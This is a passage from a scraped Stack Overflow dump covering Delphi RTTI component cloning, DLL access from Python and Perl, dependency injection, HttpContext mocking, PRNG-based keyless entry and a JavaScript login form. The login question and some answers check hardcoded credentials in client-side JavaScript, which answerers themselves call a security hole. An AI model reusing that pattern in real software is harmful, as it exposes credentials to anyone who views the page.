TMemoryStream.Create;\n try\n ms.WriteComponent(Source);\n ms.Position := 0;\n ms.ReadComponent(Dest);\n finally\n ms.Free;\n end;\n finally\n Source.Name := OldName;\n end;\nend;\n\nprocedure CloneEvents(Source, Dest: TControl);\nvar\n I: Integer;\n PropList: TPropList;\nbegin\n for I := 0 to GetPropList(Source.ClassInfo, [tkMethod], @PropList) - 1 do\n SetMethodProp(Dest, PropList[I], GetMethodProp(Source, PropList[I]));\nend;\n\nprocedure DuplicateChildren(const ParentSource: TWinControl;\n const WithEvents: Boolean = True);\nvar\n I: Integer;\n CurrentControl, ClonedControl: TControl;\nbegin\n for I := ParentSource.ControlCount - 1 downto 0 do\n begin\n CurrentControl := ParentSource.Controls[I];\n ClonedControl := TControlClass(CurrentControl.ClassType).Create(CurrentControl.Owner);\n ClonedControl.Parent := ParentSource;\n CloneProperties(CurrentControl, ClonedControl);\n ClonedControl.Name := CurrentControl.Name + '_';\n if WithEvents then\n CloneEvents(CurrentControl, ClonedControl);\n end;\nend;\n\nprocedure TForm1.Button1Click(Sender: TObject);\nbegin\n DuplicateChildren(Panel1);\nend;\n</code></pre>\n" }, { "answer_id": 241415, "author": "Uwe Raabe", "author_id": 26833, "author_profile": "https://Stackoverflow.com/users/26833", "pm_score": 3, "selected": false, "text": "<p>You can write the source component into a stream and read it back into the target component.</p>\n\n<pre><code>MemStream := TMemoryStream.Create;\ntry\n MemStream.WriteComponent(Source);\n MemStream.Position := 0;\n MemStream.ReadComponent(Target);\nfinally\n MemStream.Free;\nend;\n</code></pre>\n\n<p>You may get problems with duplicate component names though.</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239002", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30787/" ]
Is there a simple way to duplicate all child components under parent component, including their published properties? For example: * TPanel + TLabel + TEdit + TListView + TSpecialClassX Of course the most important factor, it should duplicate any new component which I drop on the TPanel without modifying the code under normal circumstances. I've heard of the RTTI, but never used it actually. Any ideas?
have a read of this page [**Run-Time Type Information In Delphi - Can It Do Anything For You?**](http://www.blong.com/Conferences/BorConUK98/DelphiRTTI/CB140.htm) Noting the section [Copying Properties From A Component To Another](http://www.blong.com/Conferences/BorConUK98/DelphiRTTI/CB140.htm#CopyingPropertiesFromAComponentToAnother) which has a unit, RTTIUnit with a Procedure, which seems to do part of what you want but i don't think it will copy any child components with out extra code. *(i think its ok to paste it here...)* ``` procedure CopyObject(ObjFrom, ObjTo: TObject); var PropInfos: PPropList; PropInfo: PPropInfo; Count, Loop: Integer; OrdVal: Longint; StrVal: String; FloatVal: Extended; MethodVal: TMethod; begin //{ Iterate thru all published fields and properties of source } //{ copying them to target } //{ Find out how many properties we'll be considering } Count := GetPropList(ObjFrom.ClassInfo, tkAny, nil); //{ Allocate memory to hold their RTTI data } GetMem(PropInfos, Count * SizeOf(PPropInfo)); try //{ Get hold of the property list in our new buffer } GetPropList(ObjFrom.ClassInfo, tkAny, PropInfos); //{ Loop through all the selected properties } for Loop := 0 to Count - 1 do begin PropInfo := GetPropInfo(ObjTo.ClassInfo, PropInfos^[Loop]^.Name); // { Check the general type of the property } //{ and read/write it in an appropriate way } case PropInfos^[Loop]^.PropType^.Kind of tkInteger, tkChar, tkEnumeration, tkSet, tkClass{$ifdef Win32}, tkWChar{$endif}: begin OrdVal := GetOrdProp(ObjFrom, PropInfos^[Loop]); if Assigned(PropInfo) then SetOrdProp(ObjTo, PropInfo, OrdVal); end; tkFloat: begin FloatVal := GetFloatProp(ObjFrom, PropInfos^[Loop]); if Assigned(PropInfo) then SetFloatProp(ObjTo, PropInfo, FloatVal); end; {$ifndef DelphiLessThan3} tkWString, {$endif} {$ifdef Win32} tkLString, {$endif} tkString: begin { Avoid copying 'Name' - components must have unique names } if UpperCase(PropInfos^[Loop]^.Name) = 'NAME' then Continue; StrVal := GetStrProp(ObjFrom, PropInfos^[Loop]); if Assigned(PropInfo) then SetStrProp(ObjTo, PropInfo, StrVal); end; tkMethod: begin MethodVal := GetMethodProp(ObjFrom, PropInfos^[Loop]); if Assigned(PropInfo) then SetMethodProp(ObjTo, PropInfo, MethodVal); end end end finally FreeMem(PropInfos, Count * SizeOf(PPropInfo)); end; end; ```
239,020
<p>I have a third-party product, a terminal emulator, which provides a DLL that can be linked to a C program to basically automate the driving of this product (send keystrokes, detect what's on the screen and so forth).</p> <p>I want to drive it from a scripting language (I'm comfortable with Python and slightly less so with Perl) so that we don't have to compile and send out executables to our customers whenever there's a problem found.</p> <p>We also want the customers to be able to write their own scripts using ours as baselines and they won't entertain the idea of writing and compiling C code.</p> <p>What's a good way of getting Python/Perl to interface to a Windows DLL. My first thought was to write a server program and have a Python script communicate with it via TCP but there's got to be an easier solution.</p>
[ { "answer_id": 239041, "author": "albertb", "author_id": 26715, "author_profile": "https://Stackoverflow.com/users/26715", "pm_score": 5, "selected": true, "text": "<p>One way to call C libraries from Python is to use <a href=\"https://docs.python.org/library/ctypes.html\" rel=\"nofollow noreferrer\">ctypes</a>:</p>\n\n<pre><code>&gt;&gt;&gt; from ctypes import *\n&gt;&gt;&gt; windll.user32.MessageBoxA(None, \"Hello world\", \"ctypes\", 0);\n</code></pre>\n" }, { "answer_id": 239043, "author": "Axeman", "author_id": 11289, "author_profile": "https://Stackoverflow.com/users/11289", "pm_score": 4, "selected": false, "text": "<p>In Perl, <a href=\"http://search.cpan.org/perldoc?Win32::API\" rel=\"nofollow noreferrer\">Win32::API</a> is an easy way to some interfacing to DLLs. There is also <a href=\"http://search.cpan.org/perldoc?Inline::C\" rel=\"nofollow noreferrer\">Inline::C</a>, if you have access to a compiler and the windows headers.</p>\n\n<p>Perl <a href=\"http://search.cpan.org/perldoc?perlxs\" rel=\"nofollow noreferrer\">XSUB</a>s can also create an interface between Perl and C. </p>\n" }, { "answer_id": 239064, "author": "ysth", "author_id": 17389, "author_profile": "https://Stackoverflow.com/users/17389", "pm_score": 3, "selected": false, "text": "<p>In Perl, <a href=\"http://search.cpan.org/perldoc/P5NCI\" rel=\"nofollow noreferrer\">P5NCI</a> will also do that, at least in some cases. But it seems to me that anything you use that directly manages interfacing with the dll is going to be user-unfriendly, and if you are going to have a user (scriptor?) friendly wrapper, it might as well be an XS module.</p>\n\n<p>I guess I don't see a meaningful distinction between \"compile and send out executables\" and \"compile and send out scripts\".</p>\n" }, { "answer_id": 239098, "author": "monopocalypse", "author_id": 17142, "author_profile": "https://Stackoverflow.com/users/17142", "pm_score": 2, "selected": false, "text": "<p>For Python, you could compile an extension which links to the DLL, so that in Python you could just import it like a normal module. You could do this by hand, by using a library like Boost.Python, or by using a tool such as SWIG (which also supports Perl and other scripting languages) to generate a wrapper automatically.</p>\n" }, { "answer_id": 241652, "author": "jussij", "author_id": 14738, "author_profile": "https://Stackoverflow.com/users/14738", "pm_score": 2, "selected": false, "text": "<p>The Python <strong>Py_InitModule</strong> API function allows you to create a module from c/c++ functions which can then be call from Python. </p>\n\n<p>It takes about a dozen or so lines of c/c++ code to achieve but it is pretty easy code to write:</p>\n\n<p><a href=\"https://python.readthedocs.org/en/v2.7.2/extending/extending.html#the-module-s-method-table-and-initialization-function\" rel=\"nofollow noreferrer\">https://python.readthedocs.org/en/v2.7.2/extending/extending.html#the-module-s-method-table-and-initialization-function</a></p>\n\n<p>The <a href=\"http://www.zeusedit.com\" rel=\"nofollow noreferrer\">Zeus</a> editor that I wrote, uses this appoach to allow <a href=\"http://www.zeusedit.com\" rel=\"nofollow noreferrer\">Zeus</a> macros to be written in Python and it works very well.</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239020", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14860/" ]
I have a third-party product, a terminal emulator, which provides a DLL that can be linked to a C program to basically automate the driving of this product (send keystrokes, detect what's on the screen and so forth). I want to drive it from a scripting language (I'm comfortable with Python and slightly less so with Perl) so that we don't have to compile and send out executables to our customers whenever there's a problem found. We also want the customers to be able to write their own scripts using ours as baselines and they won't entertain the idea of writing and compiling C code. What's a good way of getting Python/Perl to interface to a Windows DLL. My first thought was to write a server program and have a Python script communicate with it via TCP but there's got to be an easier solution.
One way to call C libraries from Python is to use [ctypes](https://docs.python.org/library/ctypes.html): ``` >>> from ctypes import * >>> windll.user32.MessageBoxA(None, "Hello world", "ctypes", 0); ```
239,023
<p>I have a dependency that I need to inject into one of my classes. This dependency will be lifestyle of <code>Transient</code>. It in-turn has a dependency of type <code>Type</code>. This type should be the type of the original class. I was just wondering if anyone has any idea how I might go about conducting this registration.</p> <p>See example:</p> <pre><code>public interface ICustomer { ..... } public class Customer : ICustomer { public Customer(IRegister register) { .... } } public interface IRegister { ..... } public class Register { public Register(Type partentType) { .... } } public class TestExample { public static void TestMe() { //If i was creating all this manually it would look // something like this IRegister myRegister = new Register(typeof(Customer)); ICustomer myCustomer = new Customer(myRegister); } } </code></pre> <p>Now I know I could call <code>Container.Resolve</code> when ever I want a <code>Customer</code> and then inject <code>Register</code> manually. But I need to inject <code>Register</code> into most of my classes so this isn't really that feasible. Hence I need a way of doing it via the config or via <code>container.Register</code>.</p>
[ { "answer_id": 239033, "author": "jonnii", "author_id": 4590, "author_profile": "https://Stackoverflow.com/users/4590", "pm_score": 0, "selected": false, "text": "<p>I'm not entirely sure it is that you're trying to achieve, but instead you might want to rewrite your code so you're doing:</p>\n\n<pre><code>public interface IRegister{\n RegisterResult MyMethod(object thing);\n}\n</code></pre>\n\n<p>So you pass the instance into the register, that way you don't need to pass the type into the constructor and you can still use your DI container. I hope this makes sense...</p>\n" }, { "answer_id": 239042, "author": "vdhant", "author_id": 30572, "author_profile": "https://Stackoverflow.com/users/30572", "pm_score": -1, "selected": false, "text": "<p>I thought of that but it would mean the parent object would need to know about this little implementation quirk. Hence I would be creating a dependency which i could no longer enforce. Do you see that as an issue? </p>\n\n<p>As far as what I am trying to achieve, the Register needs to have the type of the parent class in order for it to do its work. Hence it is a mandatory dependency. If it wasn't mandatory I would just have a property that I would set. I know i could use reflection but for performance reasons I am trying to avoid that.</p>\n\n<p>The other alternative is that when at the top of the customer constructor, I set the type on the Registry class (via a public property). But again this implementation quirk that the person using Register would need to know about, not one that i could enforce.</p>\n\n<p>Cheers\nAnthony </p>\n" }, { "answer_id": 240006, "author": "jonnii", "author_id": 4590, "author_profile": "https://Stackoverflow.com/users/4590", "pm_score": 0, "selected": false, "text": "<p>What is it exactly that the register does? Does the customer object ever use the register internally? </p>\n\n<p>I don't know which DI container you're using, but assuming you were using Windsor you could have a custom facility to intercept any component creation and then do your interaction with your register there. That way you wouldn't even have to have the customer class take the register as a parameter.</p>\n" }, { "answer_id": 329420, "author": "Andrey Shchekin", "author_id": 39068, "author_profile": "https://Stackoverflow.com/users/39068", "pm_score": 1, "selected": false, "text": "<p>The simplest solution I can see is to change it to</p>\n\n<pre><code>public interface IRegister&lt;TParent&gt; { ... }\npublic class Register&lt;TParent&gt; : IRegister&lt;TParent&gt;\n{\n public Register() { ... }\n}\n\npublic class Customer : ICustomer\n{\n public Customer(IRegister&lt;Customer&gt; register) { .... }\n}\n</code></pre>\n\n<p>And register IRegister as an open generic class.</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239023", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30572/" ]
I have a dependency that I need to inject into one of my classes. This dependency will be lifestyle of `Transient`. It in-turn has a dependency of type `Type`. This type should be the type of the original class. I was just wondering if anyone has any idea how I might go about conducting this registration. See example: ``` public interface ICustomer { ..... } public class Customer : ICustomer { public Customer(IRegister register) { .... } } public interface IRegister { ..... } public class Register { public Register(Type partentType) { .... } } public class TestExample { public static void TestMe() { //If i was creating all this manually it would look // something like this IRegister myRegister = new Register(typeof(Customer)); ICustomer myCustomer = new Customer(myRegister); } } ``` Now I know I could call `Container.Resolve` when ever I want a `Customer` and then inject `Register` manually. But I need to inject `Register` into most of my classes so this isn't really that feasible. Hence I need a way of doing it via the config or via `container.Register`.
The simplest solution I can see is to change it to ``` public interface IRegister<TParent> { ... } public class Register<TParent> : IRegister<TParent> { public Register() { ... } } public class Customer : ICustomer { public Customer(IRegister<Customer> register) { .... } } ``` And register IRegister as an open generic class.
239,059
<p>I am trying to mock out HttpContext so that I can unit test my controller's Request.IsAuthenicated call. I am using the <a href="http://www.hanselman.com/blog/ASPNETMVCSessionAtMix08TDDAndMvcMockHelpers.aspx" rel="noreferrer">code that I found at Scott Hanselman's</a> blog to simulate HttpContext using rhino.mocks. so i have this unit test piece:</p> <pre><code>PostsController postsController = new PostsController(postDL); mocks.SetFakeControllerContext(postsController); Expect.Call(postsController.Request.IsAuthenticated).Return(true); </code></pre> <p>In my controller action, I have something like <code>if(Request.IsAuthenticated)....</code> when I try to run the unit test, the test fails throwing a null exception, and when I try to debug the unit test, I see that the HttpContext is never assigned to the controller. any ideas?</p>
[ { "answer_id": 239418, "author": "Rob Cooper", "author_id": 832, "author_profile": "https://Stackoverflow.com/users/832", "pm_score": 0, "selected": false, "text": "<p>Now, for disclosure, I have yet to get my hands dirty with most of the stuff you are working with, however:</p>\n\n<p>If you want to mock the IsAuthenticated, why not just create a static class to return a bool that can the be manipulated by your test code?</p>\n\n<p>This is a bit rough round the edges, but hopefully you get the idea:</p>\n\n<pre><code>interface IAuthenticationChecker\n{\n bool IsAuthenticated { get; }\n}\n\npublic class MockAuthenticationChecker : IAuthenticationChecker\n{\n static bool _authenticated = false;\n\n public static void SetAuthenticated(bool value)\n {\n _authenticated = value;\n }\n #region IAuthenticationChecker Members\n\n public bool IsAuthenticated\n {\n get { return _authenticated; }\n }\n\n #endregion\n}\n\npublic class RequestAuthenticationChecker : IAuthenticationChecker\n{\n\n #region IAuthenticationChecker Members\n\n public bool IsAuthenticated\n {\n get {\n if (HttpContext.Current == null)\n throw new ApplicationException(\n \"Unable to Retrieve IsAuthenticated for Request becuse there is no current HttpContext.\");\n\n return HttpContext.Current.Request.IsAuthenticated;\n }\n }\n\n #endregion\n}\n</code></pre>\n\n<p>You can then use a reference to either at app level, yeah it means you have to add a reference at app level, and you need to use a different ref rather than Request, but you also get complete control over the authentication for testing :)</p>\n\n<p>FYI - this is totally open to being blown apart, I threw it together in about a minute :)</p>\n" }, { "answer_id": 239472, "author": "Kieron", "author_id": 5791, "author_profile": "https://Stackoverflow.com/users/5791", "pm_score": 2, "selected": false, "text": "<p>This may be of some use to you, worked for me in a similar scenario:</p>\n\n<p><a href=\"http://haacked.com/archive/2007/06/19/unit-tests-web-code-without-a-web-server-using-httpsimulator.aspx\" rel=\"nofollow noreferrer\">http://haacked.com/archive/2007/06/19/unit-tests-web-code-without-a-web-server-using-httpsimulator.aspx</a></p>\n" }, { "answer_id": 239955, "author": "Tim Scott", "author_id": 29493, "author_profile": "https://Stackoverflow.com/users/29493", "pm_score": 3, "selected": false, "text": "<p>This should work:</p>\n\n<pre><code>PostsController postsController = new PostsController(postDL);\nvar context = mocks.Stub&lt;HttpContextBase&gt;();\nvar request = mocks.Stub&lt;HttpRequestBase&gt;();\nSetupResult.For(request.IsAuthenticated).Return(true);\nSetupResult.For(context.Request).Return(request); \npostsController.ControllerContext = new ControllerContext(context, new RouteData(), postsController);\n</code></pre>\n" }, { "answer_id": 282370, "author": "Santosh Benjamin", "author_id": 36740, "author_profile": "https://Stackoverflow.com/users/36740", "pm_score": 1, "selected": false, "text": "<p>You may find the post I wrote on this to be helpful in some way\n<a href=\"http://santoshbenjamin.wordpress.com/2008/08/04/mock-httpcontext-and-session-state/\" rel=\"nofollow noreferrer\">http://santoshbenjamin.wordpress.com/2008/08/04/mock-httpcontext-and-session-state/</a></p>\n\n<p>cheers\nbenjy</p>\n" }, { "answer_id": 7500053, "author": "Lauri I", "author_id": 824931, "author_profile": "https://Stackoverflow.com/users/824931", "pm_score": 0, "selected": false, "text": "<p>Here is one simple way to fake the context, found it from <a href=\"http://weblogs.asp.net/jeff/archive/2004/05/31/145111.aspx\" rel=\"nofollow\">Jeff's blog</a> :</p>\n\n<pre><code> TextWriter tw = new StringWriter();\n HttpWorkerRequest wr = new SimpleWorkerRequest(\"/webapp\", \"c:\\\\inetpub\\\\wwwroot\\\\webapp\\\\\", \"default.aspx\", \"\", tw);\n HttpContext.Current = new HttpContext(wr);\n</code></pre>\n" }, { "answer_id": 11227826, "author": "ciscoheat", "author_id": 70894, "author_profile": "https://Stackoverflow.com/users/70894", "pm_score": 0, "selected": false, "text": "<p>Here's a class that may be useful. It handles ajax requests, user authentication, request parameters and more: <a href=\"https://gist.github.com/3004119\" rel=\"nofollow\">https://gist.github.com/3004119</a></p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239059", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31699/" ]
I am trying to mock out HttpContext so that I can unit test my controller's Request.IsAuthenicated call. I am using the [code that I found at Scott Hanselman's](http://www.hanselman.com/blog/ASPNETMVCSessionAtMix08TDDAndMvcMockHelpers.aspx) blog to simulate HttpContext using rhino.mocks. so i have this unit test piece: ``` PostsController postsController = new PostsController(postDL); mocks.SetFakeControllerContext(postsController); Expect.Call(postsController.Request.IsAuthenticated).Return(true); ``` In my controller action, I have something like `if(Request.IsAuthenticated)....` when I try to run the unit test, the test fails throwing a null exception, and when I try to debug the unit test, I see that the HttpContext is never assigned to the controller. any ideas?
This should work: ``` PostsController postsController = new PostsController(postDL); var context = mocks.Stub<HttpContextBase>(); var request = mocks.Stub<HttpRequestBase>(); SetupResult.For(request.IsAuthenticated).Return(true); SetupResult.For(context.Request).Return(request); postsController.ControllerContext = new ControllerContext(context, new RouteData(), postsController); ```
239,063
<p>I came across an article about Car remote entry system at <a href="http://auto.howstuffworks.com/remote-entry2.htm" rel="nofollow noreferrer">http://auto.howstuffworks.com/remote-entry2.htm</a> In the third bullet, author says,</p> <blockquote> <p>Both the transmitter and the receiver use the same pseudo-random number generator. When the transmitter sends a 40-bit code, it uses the pseudo-random number generator to pick a new code, which it stores in memory. On the other end, when the receiver receives a valid code, it uses the same pseudo-random number generator to pick a new one. In this way, the transmitter and the receiver are synchronized. The receiver only opens the door if it receives the code it expects.</p> </blockquote> <p>Is it possible to have two PRNG functions producing same random numbers at the same time? </p>
[ { "answer_id": 239066, "author": "Erik Forbes", "author_id": 16942, "author_profile": "https://Stackoverflow.com/users/16942", "pm_score": 5, "selected": true, "text": "<p>In PRNG functions, the output of the function is dependent on a 'seed' value, such that the same output will be provided from successive calls given the same seed value. So, yes.</p>\n\n<p>An example (using C#) would be something like:</p>\n\n<pre><code>// Provide the same seed value for both generators:\nSystem.Random r1 = new System.Random(1);\nSystem.Random r2 = new System.Random(1);\n\n// Will output 'True'\nConsole.WriteLine(r1.Next() == r2.Next());\n</code></pre>\n\n<p>This is all of course dependent on the random number generator using some sort of deterministic formula to generate its values. If you use a so-called 'true random' number generator that uses properties of entropy or noise in its generation, then it would be very difficult to produce the same values given some input, unless you're able to duplicate the entropic state for both calls into the function - which, of course, would defeat the purpose of using such a generator...</p>\n\n<p>In the case of remote keyless entry systems, they very likely use a PRNG function that is deterministic in order to take advantage of this feature. There are many ICs that provide this sort of functionality to produce random numbers for electronic circuits.</p>\n\n<p>Edit: upon request, here is an example of a non-deterministic random number generator which doesn't rely upon a specified seed value: <a href=\"http://qrbg.irb.hr/\" rel=\"nofollow noreferrer\">Quantum Random Number Generator</a>. Of course, as freespace points out in the comments, this is not a pseudorandom number generator, since it generates truly random numbers.</p>\n" }, { "answer_id": 239079, "author": "Claudiu", "author_id": 15055, "author_profile": "https://Stackoverflow.com/users/15055", "pm_score": 2, "selected": false, "text": "<p>Most PRNGs have an internal state in the form of a <b>seed</b>, which they use to generate their next values. The internal logic goes something like this:</p>\n\n<pre><code>nextNumber = function(seed);\nseed = nextNumber;\n</code></pre>\n\n<p>So every time you generate a new number, the seed is updated. If you give two PRNGs that use the same algorithm the same seed, <code>function(seed)</code> is going to evaluate to the same number (given that they are deterministic, which most are). </p>\n\n<p>Applied to your question directly: the transmitter picks a code, and uses it as a seed. The receiver, after receiving it, uses this to seed its generator. Now the two are aligned, and they will generate the same values.</p>\n" }, { "answer_id": 239106, "author": "Andrew Edgecombe", "author_id": 11694, "author_profile": "https://Stackoverflow.com/users/11694", "pm_score": 1, "selected": false, "text": "<p>As Erik and Claudiu have said, ad long as you seed your PRNG with the same value you'll end up with the same output.</p>\n\n<p>An example can be seen when using AES (or any other encryption algorithm) as the basis of your PRNG. As long as you keep using an inputs that match on both device (transmitter and receiver) then the outputs will also match.</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239063", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15474/" ]
I came across an article about Car remote entry system at <http://auto.howstuffworks.com/remote-entry2.htm> In the third bullet, author says, > > Both the transmitter and the receiver use the same pseudo-random number generator. When the transmitter sends a 40-bit code, it uses the pseudo-random number generator to pick a new code, which it stores in memory. On the other end, when the receiver receives a valid code, it uses the same pseudo-random number generator to pick a new one. In this way, the transmitter and the receiver are synchronized. The receiver only opens the door if it receives the code it expects. > > > Is it possible to have two PRNG functions producing same random numbers at the same time?
In PRNG functions, the output of the function is dependent on a 'seed' value, such that the same output will be provided from successive calls given the same seed value. So, yes. An example (using C#) would be something like: ``` // Provide the same seed value for both generators: System.Random r1 = new System.Random(1); System.Random r2 = new System.Random(1); // Will output 'True' Console.WriteLine(r1.Next() == r2.Next()); ``` This is all of course dependent on the random number generator using some sort of deterministic formula to generate its values. If you use a so-called 'true random' number generator that uses properties of entropy or noise in its generation, then it would be very difficult to produce the same values given some input, unless you're able to duplicate the entropic state for both calls into the function - which, of course, would defeat the purpose of using such a generator... In the case of remote keyless entry systems, they very likely use a PRNG function that is deterministic in order to take advantage of this feature. There are many ICs that provide this sort of functionality to produce random numbers for electronic circuits. Edit: upon request, here is an example of a non-deterministic random number generator which doesn't rely upon a specified seed value: [Quantum Random Number Generator](http://qrbg.irb.hr/). Of course, as freespace points out in the comments, this is not a pseudorandom number generator, since it generates truly random numbers.
239,082
<p>I'm working on a simple javascript login for a site, and have come up with this:</p> <pre><code>&lt;form id="loginwindow"&gt; &lt;strong&gt;Login to view!&lt;/strong&gt; &lt;p&gt;&lt;strong&gt;User ID:&lt;/strong&gt; &lt;input type="text" name="text2"&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;input type="password" name="text1"&gt;&lt;br&gt; &lt;input type="button" value="Check In" name="Submit" onclick=javascript:validate(text2.value,"username",text1.value,"password") /&gt; &lt;/p&gt; &lt;/form&gt; &lt;script language = "javascript"&gt; function validate(text1,text2,text3,text4) { if (text1==text2 &amp;&amp; text3==text4) load('album.html'); else { load('failure.html'); } } function load(url) { location.href=url; } &lt;/script&gt; </code></pre> <p>...which works except for one thing: hitting enter to submit the form doesn't do anything. I have a feeling it's cause I've used "onclick" but I'm not sure what to use instead. Thoughts?</p> <hr> <p>Okay yeah so I'm well aware of how flimsy this is security-wise. It's not for anything particularly top secret, so it's not a huge issue, but if you guys could elaborate on your thoughts with code, I'd love to see your ideas. the code i listed is literally all I'm working with at this point, so I can start from scratch if need be.</p>
[ { "answer_id": 239085, "author": "Ady", "author_id": 31395, "author_profile": "https://Stackoverflow.com/users/31395", "pm_score": 0, "selected": false, "text": "<p>My Thought = Massive security hole. Anyone can view the username and password.</p>\n\n<p>More relevant to your question: - You have two events happening.</p>\n\n<ol>\n<li>User clicks button.</li>\n<li>User presses enter.</li>\n</ol>\n\n<p>The enter key submits the form, but does not click the button. </p>\n\n<p>By placing your code in the onsubmit method of the form the code will run when the form is submitted. By changing the input type of the button to submit, the button will submit the form in the same way that the enter button does.</p>\n\n<p>Your code will then run for both events.</p>\n" }, { "answer_id": 239086, "author": "keparo", "author_id": 19468, "author_profile": "https://Stackoverflow.com/users/19468", "pm_score": 6, "selected": true, "text": "<p>There are several topics being discussed at once here. Let's try to clarify.</p>\n\n<p><strong>1. Your Immediate Concern:</strong></p>\n\n<p>(<em>Why won't the input button work when ENTER is pressed?</em>)</p>\n\n<p>Use the <strong>submit</strong> button type.</p>\n\n<pre><code>&lt;input type=\"submit\".../&gt; \n</code></pre>\n\n<p>..instead of </p>\n\n<pre><code>&lt;input type=\"button\".../&gt;\n</code></pre>\n\n<p>Your problem doesn't really have anything to do with having used an <strong>onclick</strong> attribute. Instead, you're not getting the behavior you want because you've used the <strong>button</strong> input type, which simply doesn't behave the same way that submit buttons do.</p>\n\n<p>In HTML and XHTML, there are default behaviors for certain elements. Input buttons on forms are often of type \"submit\". In most browsers, \"submit\" buttons <strong>fire by default</strong> when ENTER is pressed from a focused element <strong>in the same form element</strong>. The \"button\" input type does not. If you'd like to take advantage of that default behavior, you can change your input type to \"submit\".</p>\n\n<p>For example:</p>\n\n<pre><code>&lt;form action=\"/post.php\" method=\"post\"&gt;\n &lt;!-- \n ...\n --&gt;\n &lt;input type=\"submit\" value=\"go\"/&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p><strong>2. Security concerns:</strong></p>\n\n<p><em>@Ady</em> mentioned a security concern. There are a whole bucket of security concerns associated with doing a <strong>login in javascript</strong>. These are probably outside of the <strong>domain of this question</strong>, especially since you've indicated that you aren't particularly worried about it, and the fact that your login method was actually just setting the location.href to a new html page (indicating that you probably don't have any real security mechanism in place).</p>\n\n<p>Instead of drudging that up, here are <strong>links to related topics</strong> on SO, if anyone is interested in those questions directly.</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/32710/is-there-some-way-i-can-validate-a-user-in-client-side\"><strong>Is there some way I can do a user validation client-side?</strong></a></li>\n<li><a href=\"https://stackoverflow.com/questions/148068/is-encrypting-ajax-calls-for-authentication-possible-with-jquery\"><strong>Encrypting Ajax calls for authentication in jQuery</strong></a></li>\n</ul>\n\n<p><strong>3. Other Issues:</strong></p>\n\n<p>Here's a <strong>quick cleanup</strong> of your code, which just follows some best practices. It doesn't address the security concern that folks have mentioned. Instead, I'm including it simply to <strong>illustrate some healthy habits</strong>. If you have specific questions about why I've written something a certain way, feel free to ask. Also, <strong>browse the stack for related topics</strong> (as your question may have already been discussed here).</p>\n\n<p>The main thing to notice is the <strong>removal of the event attributes</strong> (onclick=\"\", onsubmit=\"\", or onkeypress=\"\") from the HTML. Those belong in javascript, and it's considered a best practice to keep the javascript events out of the markup. </p>\n\n<pre><code>&lt;form action=\"#\" method=\"post\" id=\"loginwindow\"&gt;\n &lt;h3&gt;Login to view!&lt;/h3&gt;\n &lt;label&gt;User ID: &lt;input type=\"text\" id=\"userid\"&gt;&lt;/label&gt;\n &lt;label&gt;Password: &lt;input type=\"password\" id=\"pass\"&gt;&lt;/label&gt;\n &lt;input type=\"submit\" value=\"Check In\" /&gt;\n&lt;/form&gt;\n\n&lt;script type=\"text/javascript\"&gt;\nwindow.onload = function () {\n var loginForm = document.getElementById('loginwindow');\n if ( loginwindow ) {\n loginwindow.onsubmit = function () {\n\n var userid = document.getElementById('userid');\n var pass = document.getElementById('pass');\n\n // Make sure javascript found the nodes:\n if (!userid || !pass ) {\n return false;\n }\n\n // Actually check values, however you'd like this to be done:\n if (pass.value !== \"secret\") {\n location.href = 'failure.html';\n }\n\n location.href = 'album.html';\n return false;\n };\n }\n};\n&lt;/script&gt;\n</code></pre>\n" }, { "answer_id": 239091, "author": "Josh Hinman", "author_id": 2527, "author_profile": "https://Stackoverflow.com/users/2527", "pm_score": 1, "selected": false, "text": "<p>Instead of &lt;input type=\"button\"&gt;, use &lt;input type=\"submit\"&gt;. You can put your validation code in your form onsubmit handler:</p>\n\n<p>&lt;form id=\"loginwindow\" onsubmit=\"validate(...)\"&gt;</p>\n" }, { "answer_id": 239092, "author": "Vincent Ramdhanie", "author_id": 27439, "author_profile": "https://Stackoverflow.com/users/27439", "pm_score": 0, "selected": false, "text": "<p>Maybe you can try this:</p>\n\n<pre><code>&lt;form id=\"loginwindow\" onsubmit='validate(text2.value,\"username\",text1.value,\"password\")'&gt;\n&lt;strong&gt;Login to view!&lt;/strong&gt;\n&lt;p&gt;&lt;strong&gt;User ID:&lt;/strong&gt;\n &lt;input type=\"text\" name=\"text2\"&gt;\n&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Password:&lt;/strong&gt;\n&lt;input type=\"password\" name=\"text1\"&gt;&lt;br&gt;\n &lt;input type=\"submit\" value=\"Check In\"/&gt;\n&lt;/p&gt;\n\n&lt;/form&gt;\n</code></pre>\n\n<p>As others have pointed out, there are other problems with your solution. But this should answer your question.</p>\n" }, { "answer_id": 239095, "author": "Elle H", "author_id": 23666, "author_profile": "https://Stackoverflow.com/users/23666", "pm_score": 1, "selected": false, "text": "<p>it's because it's not a form submitting, so there's no event to be triggered when the user presses enter. An alternative to the above form submit options would be to add an event listener for the input form to detect if the user pressed enter.</p>\n\n<pre><code>&lt;input type=\"password\" name=\"text1\" onkeypress=\"detectKey(event)\"&gt;\n</code></pre>\n" }, { "answer_id": 239104, "author": "roenving", "author_id": 23142, "author_profile": "https://Stackoverflow.com/users/23142", "pm_score": 0, "selected": false, "text": "<p>Surely this is too unsecure as everyone can crack it in a second ...</p>\n\n<p>-- only pseudo-secure way to do js-logins are the like:</p>\n\n<pre><code>&lt;form action=\"http://www.mySite.com/\" method=\"post\" onsubmit=\"this.action+=this.theName.value+this.thePassword.value;\"&gt;\n Name: &lt;input type=\"text\" name=\"theName\"&gt;&lt;br&gt;\n Password: &lt;input type=\"password\" name=\"thePassword\"&gt;&lt;br&gt;\n &lt;input type=\"submit\" value=\"Login now\"&gt;\n&lt;/form&gt;\n</code></pre>\n" }, { "answer_id": 43979442, "author": "csandreas1", "author_id": 6041389, "author_profile": "https://Stackoverflow.com/users/6041389", "pm_score": 2, "selected": false, "text": "<p>Put the script directly in your html document. Change the onclick value with the function you want to use. The script in the html will tell the form 